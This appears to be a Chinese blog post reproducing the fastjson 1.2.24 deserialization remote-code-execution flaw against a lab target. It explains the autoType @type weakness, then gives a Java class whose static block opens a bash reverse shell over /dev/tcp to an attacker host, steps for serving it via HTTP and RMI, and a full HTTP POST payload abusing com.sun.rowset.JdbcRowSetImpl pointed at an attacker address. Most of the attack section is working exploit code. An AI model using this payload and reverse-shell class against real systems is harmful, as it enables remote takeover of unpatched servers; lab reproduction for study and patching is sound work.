当前位置:   article > 正文

fastjson反序列化漏洞复现_fastjson反序列化漏洞修复

fastjson反序列化漏洞修复

1.2.24 命令执行

原理

FastJson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

通俗理解就是:漏洞利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大影响。

开个靶机

访问就说一个json格式返回的数据

这个回显就代表用了fastjson,可以测试这个漏洞

我们向这个地址POST一个JSON对象,即可更新服务端的信息:

curl http://your-ip:8090/ -H "Content-Type: application/json" --data '{"name":"hello", "age":20}'

这就表示有这个漏洞

import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
   static {
       try {
                Runtime r = Runtime.getRuntime();
                Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/攻击机ip/端口 0>&1"});
                p.waitFor();
       } catch (Exception e) {
           // do nothing
       }
   }
}

这些东西写在一个java文件力,然后生成一个class文件

开启个http服务

开启RMI服务,将恶意类放到服务器上 

同时监听6666端口(在java中写入的是通过2233端口反弹shell)

向靶场服务器发送Payload,带上RMI的地址:

  1. POST / HTTP/1.1
  2. Host: your-ip:8090
  3. Accept-Encoding: gzip, deflate
  4. Accept: */*
  5. Accept-Language: en
  6. User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
  7. Connection: close
  8. Content-Type: application/json
  9. Content-Length: 160
  10. {
  11. "b":{
  12. "@type":"com.sun.rowset.JdbcRowSetImpl",
  13. "dataSourceName":"http://192.168.154.128:8888/TouchFile",
  14. "autoCommit":true
  15. }
  16. }

发包

shell

jian

kang

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/酷酷是懒虫/article/detail/918290
推荐阅读
相关标签
  

闽ICP备14008679号